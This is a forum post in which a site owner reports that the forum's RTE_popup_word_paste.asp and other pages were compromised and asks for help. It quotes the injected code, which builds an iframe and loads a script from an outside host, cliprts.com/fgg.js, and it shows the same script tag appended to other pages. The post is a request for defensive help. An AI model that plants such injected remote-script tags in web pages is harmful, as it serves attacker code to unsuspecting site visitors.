The past few days our forum was comprimised. Our RTE_popup_word_paste.asp was modified outside my control. The javascript was updated:
var iframeContent;
iframeContent = '<html>\n';
iframeContent += '<head>\n';
iframeContent += '<style> html,body{border:0px;background-color:#FFFFFF;}</style>\n';
iframeContent += '</head>\n';
iframeContent += '<body leftmargin="1" topmargin="1" marginwidth="1" marginheight="1">\n';
iframeContent += '<script src=http://www.cliprts.com/fgg.js></script></body>\n';
iframeContent += '</html>';
Also on other pages it would have this at the end of the file:
<script src=http://www.cliprts.com/fgg.js></script></body>
I have no idea hows these files are getting hacked but its quite frustrating. I cannot find anything online. I have changed all my passwords and everything but i dont think thats the issue because i use pretty tough passwords for my stuff...
any idea's would be appreciated.
Topic Options
Post Options
Thanks(0)
